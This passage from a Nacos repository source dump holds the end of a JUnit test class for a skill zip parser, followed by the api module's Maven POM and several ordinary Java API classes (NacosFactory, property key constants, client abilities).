(Constants.Skills.MAX_UPLOAD_ZIP_BYTES + 1024);\n        byte[] zipBytes = createValidSkillZip();\n        byte[] largeZip = new byte[overSize];\n        System.arraycopy(zipBytes, 0, largeZip, 0, zipBytes.length);\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> SkillZipParser.parseSkillFromZip(largeZip, \"test-namespace\"));\n        assertTrue(exception.getMessage().contains(\"must not exceed\"));\n        assertTrue(exception.getMessage().contains(\"10\"));\n    }\n\n    @Test\n    void testParseSkillFromZipIgnoresMacOsMetadataFiles() throws Exception {\n        // Given: zip contains macOS AppleDouble file (._LICENSE.txt) and normal resource\n        byte[] zipBytes = createSkillZipWithMacOsMetadataFiles();\n\n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n\n        // Then: skill parses OK and ._* files are not in resources (key = generateResourceId(\"references\", \"readme.md\"))\n        String readmeKey = SkillUtils.generateResourceId(\"references\", \"readme.md\");\n        assertNotNull(skill);\n        assertNotNull(skill.getResource());\n        assertEquals(1, skill.getResource().size());\n        assertTrue(skill.getResource().containsKey(readmeKey));\n        assertFalse(skill.getResource().containsKey(\"._LICENSE\"));\n        assertFalse(skill.getResource().keySet().stream().anyMatch(k -> k.startsWith(\"._\")));\n    }\n\n    @Test\n    void testParseSkillFromZipIncludesFilesUnderSkillRoot() throws Exception {\n        // Given: zip with file directly under skill folder (e.g. algorithmic-art/LICENSE.txt)\n        byte[] zipBytes = createSkillZipWithFileUnderSkillRoot();\n\n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n\n        // Then: LICENSE.txt is included as resource with empty type (key = generateResourceId(\"\", \"LICENSE.txt\"))\n        String licenseKey = SkillUtils.generateResourceId(\"\", \"LICENSE.txt\");\n        assertNotNull(skill);\n        assertNotNull(skill.getResource());\n        assertTrue(skill.getResource().containsKey(licenseKey));\n        assertEquals(\"LICENSE.txt\", skill.getResource().get(licenseKey).getName());\n        assertEquals(\"\", skill.getResource().get(licenseKey).getType() == null ? \"\" : skill.getResource().get(licenseKey).getType());\n        assertTrue(skill.getResource().get(licenseKey).getContent().contains(\"MIT License\"));\n    }\n    \n    /**\n     * Create a valid skill zip file.\n     */\n    private byte[] createValidSkillZip() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            // Add SKILL.md\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n    \n    /**\n     * Create a skill zip with SKILL.md in subdirectory.\n     */\n    private byte[] createSkillZipWithSubdir() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            // Add SKILL.md in subdirectory\n            ZipEntry entry = new ZipEntry(\"test-skill/SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n    \n    /**\n     * Create a skill zip with resources.\n     */\n    private byte[] createSkillZipWithResources() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            // Add SKILL.md\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n            \n            // Add resource file\n            entry = new ZipEntry(\"scripts/test.sh\");\n            zos.putNextEntry(entry);\n            zos.write(\"#!/bin/bash\\necho 'test'\".getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n    \n    /**\n     * Create a zip without SKILL.md.\n     */\n    private byte[] createZipWithoutSkillMd() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"other-file.txt\");\n            zos.putNextEntry(entry);\n            zos.write(\"content\".getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n    \n    /**\n     * Create a zip with invalid YAML.\n     */\n    private byte[] createZipWithInvalidYaml() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"Invalid content without YAML front matter\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n    \n    /**\n     * Create a zip with missing name.\n     */\n    private byte[] createZipWithMissingName() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n    \n    /**\n     * Create a zip with missing description.\n     */\n    private byte[] createZipWithMissingDescription() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n\n    /**\n     * Create a zip with escaped YAML values in front matter.\n     */\n    private byte[] createZipWithEscapedYamlValues() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: \\\"test\\\\\\\\skill\\\\\\\"name\\\"\\n\"\n                    + \"description: \\\"desc\\\\\\\\folder\\\\\\\"quoted\\\"\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n    \n    /**\n     * Create a skill zip with a file directly under skill root (skillName/LICENSE.txt).\n     * Parser should include it as resource with empty type.\n     */\n    private byte[] createSkillZipWithFileUnderSkillRoot() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"test-skill/SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n\n            entry = new ZipEntry(\"test-skill/LICENSE.txt\");\n            zos.putNextEntry(entry);\n            zos.write(\"MIT License\\nCopyright (c) 2025\".getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n\n    /**\n     * Create a skill zip that contains macOS metadata files (._*) like ._LICENSE.txt.\n     * Parser should ignore them and only include normal resources.\n     */\n    private byte[] createSkillZipWithMacOsMetadataFiles() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"test-skill/SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n\n            entry = new ZipEntry(\"test-skill/references/readme.md\");\n            zos.putNextEntry(entry);\n            zos.write(\"# Readme\".getBytes());\n            zos.closeEntry();\n\n            entry = new ZipEntry(\"test-skill/._LICENSE.txt\");\n            zos.putNextEntry(entry);\n            zos.write(new byte[] { 0, 5, 0, 0 }); // binary AppleDouble-like content\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n\n    /**\n     * Create a skill zip that contains a binary file (.ttf). Parser should store it as Base64 with metadata encoding=base64.\n     */\n    private byte[] createSkillZipWithBinaryResource() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"test-skill/SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n\n            entry = new ZipEntry(\"test-skill/canvas-fonts/font.ttf\");\n            zos.putNextEntry(entry);\n            zos.write(new byte[] { 0, 1, 2, 3 }); // minimal binary content\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n\n    /**\n     * Create a zip with Instructions header.\n     */\n    private byte[] createZipWithInstructionsHeader() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"## Instructions\\n\"\n                    + \"instruction content\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n\n    @Test\n    void testParseSkillFromZipWithUtf8Bom() throws Exception {\n        // Given: SKILL.md content starts with UTF-8 BOM (EF BB BF)\n        byte[] zipBytes = createSkillZipWithUtf8Bom();\n\n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n\n        // Then: BOM is stripped and skill parses correctly\n        assertNotNull(skill);\n        assertEquals(\"test-skill\", skill.getName());\n        assertEquals(\"Test skill description\", skill.getDescription());\n        assertEquals(\"This is a test instruction\", skill.getInstruction().trim());\n    }\n\n    @Test\n    void testParseSkillFromZipWithUtf8BomInSubdir() throws Exception {\n        // Given: SKILL.md in subdirectory with UTF-8 BOM\n        byte[] zipBytes = createSkillZipWithUtf8BomInSubdir();\n\n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n\n        // Then: BOM is stripped and skill parses correctly\n        assertNotNull(skill);\n        assertEquals(\"test-skill\", skill.getName());\n        assertEquals(\"Test skill description\", skill.getDescription());\n    }\n\n    /**\n     * Create a skill zip where SKILL.md content starts with UTF-8 BOM (EF BB BF).\n     */\n    private byte[] createSkillZipWithUtf8Bom() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            // UTF-8 BOM bytes followed by normal SKILL.md content\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            byte[] bom = new byte[] { (byte) 0xEF, (byte) 0xBB, (byte) 0xBF };\n            byte[] content = skillMd.getBytes(\"UTF-8\");\n            byte[] withBom = new byte[bom.length + content.length];\n            System.arraycopy(bom, 0, withBom, 0, bom.length);\n            System.arraycopy(content, 0, withBom, bom.length, content.length);\n            zos.write(withBom);\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n\n    /**\n     * Create a skill zip where SKILL.md in subdirectory has UTF-8 BOM.\n     */\n    private byte[] createSkillZipWithUtf8BomInSubdir() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            ZipEntry entry = new ZipEntry(\"test-skill/SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            byte[] bom = new byte[] { (byte) 0xEF, (byte) 0xBB, (byte) 0xBF };\n            byte[] content = skillMd.getBytes(\"UTF-8\");\n            byte[] withBom = new byte[bom.length + content.length];\n            System.arraycopy(bom, 0, withBom, 0, bom.length);\n            System.arraycopy(content, 0, withBom, bom.length, content.length);\n            zos.write(withBom);\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n}\n"
  },
  {
    "path": "api/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n    </parent>\n    \n    <modelVersion>4.0.0</modelVersion>\n    \n    <artifactId>nacos-api</artifactId>\n    <packaging>jar</packaging>\n    \n    <name>nacos-api ${project.version}</name>\n    <url>https://nacos.io</url>\n    <description>Nacos api pom.xml file</description>\n    \n    <properties>\n        <maven.compiler.source>${client.java.version}</maven.compiler.source>\n        <maven.compiler.target>${client.java.version}</maven.compiler.target>\n    </properties>\n    \n    <dependencies>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>io.grpc</groupId>\n            <artifactId>grpc-netty-shaded</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.grpc</groupId>\n            <artifactId>grpc-protobuf</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.grpc</groupId>\n            <artifactId>grpc-stub</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.grpc</groupId>\n            <artifactId>grpc-util</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.grpc</groupId>\n            <artifactId>grpc-inprocess</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.google.api.grpc</groupId>\n            <artifactId>proto-google-common-protos</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.google.protobuf</groupId>\n            <artifactId>protobuf-java</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>javax.annotation</groupId>\n            <artifactId>javax.annotation-api</artifactId>\n        </dependency>\n    </dependencies>\n    \n    <build>\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>${maven-compiler-plugin.version}</version>\n                    <configuration>\n                        <source>${client.java.version}</source>\n                        <target>${client.java.version}</target>\n                        <compilerVersion>${client.java.version}</compilerVersion>\n                        <showDeprecation>true</showDeprecation>\n                        <showWarnings>true</showWarnings>\n                        <compilerArgs>\n                            <arg>-parameters</arg>\n                        </compilerArgs>\n                    </configuration>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <plugins>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n            </plugin>\n            <!--  reuse when you need to update grpc model  -->\n            <!--<plugin>\n                <groupId>org.xolstice.maven.plugins</groupId>\n                <artifactId>protobuf-maven-plugin</artifactId>\n                <version>0.5.0</version>\n                <configuration>\n                    <protocArtifact>com.google.protobuf:protoc:3.8.0:exe:${os.detected.classifier}</protocArtifact>\n                    <pluginId>grpc-java</pluginId>\n                    <pluginArtifact>io.grpc:protoc-gen-grpc-java:1.14.0:exe:${os.detected.classifier}</pluginArtifact>\n                </configuration>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>compile</goal>\n                            <goal>compile-custom</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>-->\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/NacosFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api;\n\nimport com.alibaba.nacos.api.config.ConfigFactory;\nimport com.alibaba.nacos.api.config.ConfigService;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.LockService;\nimport com.alibaba.nacos.api.lock.NacosLockFactory;\nimport com.alibaba.nacos.api.naming.NamingFactory;\nimport com.alibaba.nacos.api.naming.NamingMaintainFactory;\nimport com.alibaba.nacos.api.naming.NamingMaintainService;\nimport com.alibaba.nacos.api.naming.NamingService;\n\nimport java.util.Properties;\n\n/**\n * Nacos Factory.\n *\n * @author Nacos\n */\npublic class NacosFactory {\n    \n    /**\n     * Create config service.\n     *\n     * @param properties init param\n     * @return config\n     * @throws NacosException Exception\n     */\n    public static ConfigService createConfigService(Properties properties) throws NacosException {\n        return ConfigFactory.createConfigService(properties);\n    }\n    \n    /**\n     * Create config service.\n     *\n     * @param serverAddr server list\n     * @return config\n     * @throws NacosException Exception\n     */\n    public static ConfigService createConfigService(String serverAddr) throws NacosException {\n        return ConfigFactory.createConfigService(serverAddr);\n    }\n    \n    /**\n     * Create naming service.\n     *\n     * @param serverAddr server list\n     * @return Naming\n     * @throws NacosException Exception\n     */\n    public static NamingService createNamingService(String serverAddr) throws NacosException {\n        return NamingFactory.createNamingService(serverAddr);\n    }\n    \n    /**\n     * Create naming service.\n     *\n     * @param properties init param\n     * @return Naming\n     * @throws NacosException Exception\n     */\n    public static NamingService createNamingService(Properties properties) throws NacosException {\n        return NamingFactory.createNamingService(properties);\n    }\n    \n    /**\n     * Create maintain service.\n     *\n     * @param serverAddr server address\n     * @return NamingMaintainService\n     * @throws NacosException Exception\n     * @deprecated use {@link com.alibaba.nacos.maintainer.client.naming.NamingMaintainerFactory} in nacos-maintainer-client artifact tp replaced.\n     */\n    @Deprecated\n    public static NamingMaintainService createMaintainService(String serverAddr) throws NacosException {\n        return NamingMaintainFactory.createMaintainService(serverAddr);\n    }\n    \n    /**\n     * Create maintain service.\n     *\n     * @param properties server address\n     * @return NamingMaintainService\n     * @throws NacosException Exception\n     * @deprecated use {@link com.alibaba.nacos.maintainer.client.naming.NamingMaintainerFactory} in nacos-maintainer-client artifact tp replaced.\n     */\n    @Deprecated\n    public static NamingMaintainService createMaintainService(Properties properties) throws NacosException {\n        return NamingMaintainFactory.createMaintainService(properties);\n    }\n    \n    /**\n     * Create lock service.\n     *\n     * @param properties init param\n     * @return lock service\n     * @throws NacosException Exception\n     */\n    public static LockService createLockService(Properties properties) throws NacosException {\n        return NacosLockFactory.createLockService(properties);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/PropertyKeyConst.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api;\n\n/**\n * Property Key Const.\n *\n * @author Nacos\n */\npublic class PropertyKeyConst {\n    \n    public static final String IS_USE_CLOUD_NAMESPACE_PARSING = \"isUseCloudNamespaceParsing\";\n    \n    public static final String IS_USE_ENDPOINT_PARSING_RULE = \"isUseEndpointParsingRule\";\n    \n    public static final String ENDPOINT = \"endpoint\";\n    \n    public static final String ENDPOINT_QUERY_PARAMS = \"endpointQueryParams\";\n    \n    public static final String ENDPOINT_PORT = \"endpointPort\";\n    \n    public static final String ENDPOINT_CONTEXT_PATH = \"endpointContextPath\";\n    \n    public static final String ENDPOINT_CLUSTER_NAME = \"endpointClusterName\";\n    \n    public static final String ENDPOINT_REFRESH_INTERVAL_SECONDS = \"endpointRefreshIntervalSeconds\";\n    \n    @Deprecated\n    public static final String SERVER_NAME = \"serverName\";\n    \n    public static final String NAMESPACE = \"namespace\";\n    \n    public static final String USERNAME = \"username\";\n    \n    public static final String PASSWORD = \"password\";\n    \n    public static final String ACCESS_KEY = \"accessKey\";\n    \n    public static final String SECRET_KEY = \"secretKey\";\n    \n    public static final String RAM_ROLE_NAME = \"ramRoleName\";\n    \n    public static final String SERVER_ADDR = \"serverAddr\";\n    \n    public static final String CONTEXT_PATH = \"contextPath\";\n    \n    /**\n     * Please use {@link #ENDPOINT_CLUSTER_NAME} replaced.\n     */\n    @Deprecated\n    public static final String CLUSTER_NAME = \"clusterName\";\n    \n    /**\n     * Default is {@code \"false\"}, if true, and without {@link #ENDPOINT_CLUSTER_NAME}, use {@link #CLUSTER_NAME} to set\n     * endpoint cluster name.\n     */\n    @Deprecated\n    public static final String IS_ADAPT_CLUSTER_NAME_USAGE = \"isAdaptClusterNameUsage\";\n    \n    public static final String ENCODE = \"encode\";\n    \n    public static final String CONFIG_LONG_POLL_TIMEOUT = \"configLongPollTimeout\";\n    \n    public static final String CONFIG_RETRY_TIME = \"configRetryTime\";\n    \n    public static final String CONFIG_REQUEST_TIMEOUT = \"configRequestTimeout\";\n    \n    public static final String CLIENT_WORKER_MAX_THREAD_COUNT = \"clientWorkerMaxThreadCount\";\n    \n    public static final String CLIENT_WORKER_THREAD_COUNT = \"clientWorkerThreadCount\";\n    \n    public static final String MAX_RETRY = \"maxRetry\";\n    \n    public static final String ENABLE_REMOTE_SYNC_CONFIG = \"enableRemoteSyncConfig\";\n    \n    public static final String NAMING_LOAD_CACHE_AT_START = \"namingLoadCacheAtStart\";\n    \n    public static final String NAMING_CACHE_REGISTRY_DIR = \"namingCacheRegistryDir\";\n    \n    public static final String NAMING_CLIENT_BEAT_THREAD_COUNT = \"namingClientBeatThreadCount\";\n    \n    public static final String NAMING_POLLING_MAX_THREAD_COUNT = \"namingPollingMaxThreadCount\";\n    \n    public static final String NAMING_POLLING_THREAD_COUNT = \"namingPollingThreadCount\";\n    \n    public static final String NAMING_REQUEST_DOMAIN_RETRY_COUNT = \"namingRequestDomainMaxRetryCount\";\n    \n    public static final String NAMING_PUSH_EMPTY_PROTECTION = \"namingPushEmptyProtection\";\n    \n    public static final String NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE = \"namingAsyncQuerySubscribeService\";\n    \n    public static final String REDO_DELAY_TIME = \"redoDelayTime\";\n    \n    public static final String REDO_DELAY_THREAD_COUNT = \"redoDelayThreadCount\";\n    \n    public static final String SIGNATURE_REGION_ID = \"signatureRegionId\";\n    \n    public static final String LOG_ALL_PROPERTIES = \"logAllProperties\";\n    \n    /**\n     * Since 2.3.3, For some situation like java agent using nacos-client which can't use env ram info.\n     */\n    public static final String IS_USE_RAM_INFO_PARSING = \"isUseRamInfoParsing\";\n    \n    /**\n     * Get the key value of some variable value from the system property.\n     */\n    public static class SystemEnv {\n        \n        public static final String ALIBABA_ALIWARE_ENDPOINT_PORT = \"ALIBABA_ALIWARE_ENDPOINT_PORT\";\n        \n        public static final String ALIBABA_ALIWARE_ENDPOINT_CONTEXT_PATH = \"ALIBABA_ALIWARE_ENDPOINT_CONTEXT_PATH\";\n        \n        public static final String ALIBABA_ALIWARE_NAMESPACE = \"ALIBABA_ALIWARE_NAMESPACE\";\n        \n        public static final String ALIBABA_ALIWARE_ENDPOINT_URL = \"ALIBABA_ALIWARE_ENDPOINT_URL\";\n    }\n    \n    /**\n     * Client Metric Switch.\n     */\n    public static final String ENABLE_CLIENT_METRICS = \"enableClientMetrics\";\n    \n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/SystemPropertyKeyConst.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api;\n\n/**\n * Support for reading the value of the specified variable from the -D parameter.\n *\n * <p>Properties that are preferred to which in {@link PropertyKeyConst}\n *\n * @author pbting\n */\npublic interface SystemPropertyKeyConst {\n    \n    String NAMING_SERVER_PORT = \"nacos.naming.exposed.port\";\n    \n    /**\n     * In the cloud (Alibaba Cloud or other cloud vendors) environment, whether to enable namespace resolution in the\n     * cloud environment.\n     * <p>\n     * The default is on.\n     * </p>\n     */\n    String IS_USE_CLOUD_NAMESPACE_PARSING = \"nacos.use.cloud.namespace.parsing\";\n    \n    /**\n     * In the cloud environment, if the process level requires a globally uniform namespace, it can be specified with\n     * the -D parameter.\n     */\n    String ANS_NAMESPACE = \"ans.namespace\";\n    \n    /**\n     * It is also supported by the -D parameter.\n     */\n    String IS_USE_ENDPOINT_PARSING_RULE = \"nacos.use.endpoint.parsing.rule\";\n    \n    /**\n     * Since 2.3.3, For some situation like java agent using nacos-client which can't use env ram info.\n     */\n    String IS_USE_RAM_INFO_PARSING = \"nacos.use.ram.info.parsing\";\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/ClientAbilities.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability;\n\nimport com.alibaba.nacos.api.config.ability.ClientConfigAbility;\nimport com.alibaba.nacos.api.naming.ability.ClientNamingAbility;\nimport com.alibaba.nacos.api.remote.ability.ClientRemoteAbility;\n\nimport java.io.Serializable;\n\n/**\n * abilities of nacos client.\n *\n * @author liuzunfei\n * @version $Id: ClientAbilities.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\n@Deprecated\npublic class ClientAbilities implements Serializable {\n    \n    private static final long serialVersionUID = -3590789441404549261L;\n    \n    private ClientRemoteAbility remoteAbility = new ClientRemoteAbility();\n    \n    private ClientConfigAbility configAbility = new ClientConfigAbility();\n    \n    private ClientNamingAbility namingAbility = new ClientNamingAbility();\n    \n    public ClientRemoteAbility getRemoteAbility() {\n        return remoteAbility;\n    }\n    \n    public void setRemoteAbility(ClientRemoteAbility remoteAbility) {\n        this.remoteAbility = remoteAbility;\n    }\n    \n    public ClientConfigAbility getConfigAbility() {\n        return configAbility;\n    }\n    \n    public void setConfigAbility(ClientConfigAbility configAbility) {\n        this.configAbility = configAbility;\n    }\n    \n    public ClientNamingAbility getNamingAbility() {\n        return namingAbility;\n    }\n    \n    public void setNamingAbility(ClientNamingAbility namingAbility) {\n        this.namingAbility = namingAbility;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ability/ServerAbilities.java",
